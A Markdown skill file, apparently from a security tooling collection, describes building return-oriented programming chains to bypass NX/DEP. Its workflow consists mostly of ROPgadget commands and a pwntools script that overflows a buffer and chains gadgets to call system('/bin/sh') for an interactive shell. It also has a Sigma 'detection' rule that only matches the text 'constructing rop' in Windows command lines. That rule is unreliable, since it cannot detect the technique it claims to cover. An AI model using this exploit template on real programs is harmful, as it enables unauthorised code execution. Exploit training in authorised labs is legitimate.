<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: constructing-rop-chains
description: >-
  Construct Return-Oriented Programming chains to bypass NX/DEP protections by chaining existing code gadgets into arbitrary computation.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - rop
  - gadgets
  - nx-bypass
  - dep-bypass
  - code-reuse
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1203"]
  cwe: ["CWE-120"]
  tools: ["ROPgadget", "pwntools", "ropper", "GEF"]
---

# Constructing Rop Chains

## Overview

Construct Return-Oriented Programming chains to bypass NX/DEP protections by chaining existing code gadgets into arbitrary computation.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `ROPgadget` | Security tooling |
| `pwntools` | Security tooling |
| `ropper` | Security tooling |
| `GDB with GEF` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Enumerate Gadgets

```bash
# Find all gadgets in the binary
ROPgadget --binary ./vuln --ropchain
ROPgadget --binary ./vuln --only "pop|ret"

# Find specific gadgets
ROPgadget --binary ./vuln --re "pop rdi"
ropper --file ./vuln --search "pop rdi; ret" 
```

### Step 2: Build ROP Chain with pwntools

```python
from pwn import *

elf = ELF("./vuln")
rop = ROP(elf)

# Automatic ROP chain generation
rop.call("system", [next(elf.search(b"/bin/sh\x00"))])
print(rop.dump())

# Manual gadget chain
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]

payload = flat(
    b"A" * 72,
    ret,             # stack alignment
    pop_rdi,
    next(elf.search(b"/bin/sh\x00")),
    elf.plt["system"],
)
```

### Step 3: Send Exploit

```python
from pwn import *

context.binary = elf = ELF("./vuln")
p = process(elf.path)
p.sendline(payload)
p.interactive()
```

## Detection

```yaml
title: Constructing Rop Chains Detection
id: e5522cbb-440d-409e-a79f-9b0e2fef2d96
status: experimental
description: Detects suspicious activity related to constructing rop chains techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*constructing*rop*"
  condition: selection
level: critical
tags:
  - attack.t1203
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Constructing Rop Chains Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1203 |

## Verification

- [ ] ROP gadgets enumerated from binary
- [ ] Chain achieves controlled instruction pointer
- [ ] Payload accounts for stack alignment
- [ ] Exploit achieves arbitrary code execution

## References

- [ROPgadget](https://github.com/JonathanSalwan/ROPgadget)
- [pwntools ROP](https://docs.pwntools.com/en/stable/rop/rop.html)
